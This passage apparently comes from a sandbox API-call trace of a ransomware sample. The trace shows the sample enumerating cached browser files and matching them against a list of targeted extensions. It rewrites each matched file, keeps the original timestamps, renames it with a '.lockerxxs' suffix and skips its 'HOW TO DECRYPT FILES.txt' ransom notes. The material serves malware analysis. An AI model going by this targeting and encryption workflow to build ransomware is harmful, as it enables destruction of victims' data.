pszSpec="*.png") returned 1 [0082.524] lstrlenA (lpString="*.png") returned 5 [0082.524] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png" [0082.524] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png" [0082.524] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png." [0082.524] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png.lockerxxs" [0082.524] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\google_plus_16dp[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.525] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6a6 [0082.525] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x60ef0c80, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x60ef0c80, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x60f16de0, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.525] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.525] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x680, lpOverlapped=0x0) returned 1 [0082.527] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png") returned="google_plus_16dp[1].png" [0082.527] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.527] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x680, lpOverlapped=0x0) returned 1 [0082.527] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.528] CloseHandle (hObject=0xa4) returned 1 [0082.533] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\google_plus_16dp[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\google_plus_16dp[1].png.lockerxxs")) returned 1 [0082.534] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0082.534] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.534] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0082.534] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0082.534] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5de2e5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5de2e5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5de54720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb6c8, dwReserved0=0x18efdc, dwReserved1=0x4f0048, cFileName="index[1].htm", cAlternateFileName="INDEX_~1.HTM")) returned 1 [0082.534] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.534] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index[1].htm") returned -1 [0082.534] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index[1].htm") returned -1 [0082.534] lstrcmpiA (lpString1="", lpString2="index[1].htm") returned -1 [0082.534] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png") returned="google_plus_16dp[1].png" [0082.534] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.534] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.534] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.535] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.535] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="index[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm" [0082.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.ems") returned 0 [0082.535] lstrlenA (lpString="*.ems") returned 5 [0082.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.db") returned 0 [0082.535] lstrlenA (lpString="*.db") returned 4 [0082.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.dbf") returned 0 [0082.535] lstrlenA (lpString="*.dbf") returned 5 [0082.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.myox") returned 0 [0082.535] lstrlenA (lpString="*.myox") returned 6 [0082.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.myo") returned 0 [0082.535] lstrlenA (lpString="*.myo") returned 5 [0082.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.qbw") returned 0 [0082.535] lstrlenA (lpString="*.qbw") returned 5 [0082.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.qbb") returned 0 [0082.535] lstrlenA (lpString="*.qbb") returned 5 [0082.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.qbm") returned 0 [0082.535] lstrlenA (lpString="*.qbm") returned 5 [0082.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.qbo") returned 0 [0082.535] lstrlenA (lpString="*.qbo") returned 5 [0082.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.qbx") returned 0 [0082.535] lstrlenA (lpString="*.qbx") returned 5 [0082.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.qba") returned 0 [0082.535] lstrlenA (lpString="*.qba") returned 5 [0082.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.qby") returned 0 [0082.536] lstrlenA (lpString="*.qby") returned 5 [0082.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.qbj") returned 0 [0082.536] lstrlenA (lpString="*.qbj") returned 5 [0082.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.ofx") returned 0 [0082.536] lstrlenA (lpString="*.ofx") returned 5 [0082.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.qif") returned 0 [0082.536] lstrlenA (lpString="*.qif") returned 5 [0082.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.mye") returned 0 [0082.536] lstrlenA (lpString="*.mye") returned 5 [0082.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.mbox") returned 0 [0082.536] lstrlenA (lpString="*.mbox") returned 6 [0082.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.eml") returned 0 [0082.536] lstrlenA (lpString="*.eml") returned 5 [0082.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.pst") returned 0 [0082.536] lstrlenA (lpString="*.pst") returned 5 [0082.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.ost") returned 0 [0082.536] lstrlenA (lpString="*.ost") returned 5 [0082.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.idx") returned 0 [0082.536] lstrlenA (lpString="*.idx") returned 5 [0082.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.dbx") returned 0 [0082.536] lstrlenA (lpString="*.dbx") returned 5 [0082.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.sql") returned 0 [0082.536] lstrlenA (lpString="*.sql") returned 5 [0082.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.mdb") returned 0 [0082.536] lstrlenA (lpString="*.mdb") returned 5 [0082.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.fdb") returned 0 [0082.537] lstrlenA (lpString="*.fdb") returned 5 [0082.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.wab") returned 0 [0082.537] lstrlenA (lpString="*.wab") returned 5 [0082.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.dat") returned 0 [0082.537] lstrlenA (lpString="*.dat") returned 5 [0082.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.txt") returned 0 [0082.537] lstrlenA (lpString="*.txt") returned 5 [0082.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.jpeg") returned 0 [0082.537] lstrlenA (lpString="*.jpeg") returned 6 [0082.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.jpg") returned 0 [0082.537] lstrlenA (lpString="*.jpg") returned 5 [0082.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.png") returned 0 [0082.537] lstrlenA (lpString="*.png") returned 5 [0082.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.php") returned 0 [0082.537] lstrlenA (lpString="*.php") returned 5 [0082.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.cs") returned 0 [0082.537] lstrlenA (lpString="*.cs") returned 4 [0082.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.cpp") returned 0 [0082.537] lstrlenA (lpString="*.cpp") returned 5 [0082.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.rar") returned 0 [0082.537] lstrlenA (lpString="*.rar") returned 5 [0082.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.zip") returned 0 [0082.537] lstrlenA (lpString="*.zip") returned 5 [0082.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.html") returned 0 [0082.537] lstrlenA (lpString="*.html") returned 6 [0082.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", pszSpec="*.htm") returned 1 [0082.537] lstrlenA (lpString="*.htm") returned 5 [0082.537] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm" [0082.537] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm" [0082.538] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm." [0082.538] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm.lockerxxs" [0082.538] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\index[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.538] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb6c8 [0082.538] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5de2e5c0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x5de2e5c0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5de54720, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.538] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.538] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xb6a2, lpOverlapped=0x0) returned 1 [0082.540] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm") returned="index[1].htm" [0082.541] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.541] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xb6a2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xb6a2, lpOverlapped=0x0) returned 1 [0082.541] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.541] CloseHandle (hObject=0xa4) returned 1 [0082.543] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\index[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\index[1].htm.lockerxxs")) returned 1 [0082.544] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54fa1af0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54fa1af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54fa1af0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="print[1].txt", cAlternateFileName="PRINT_~1.TXT")) returned 1 [0082.544] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 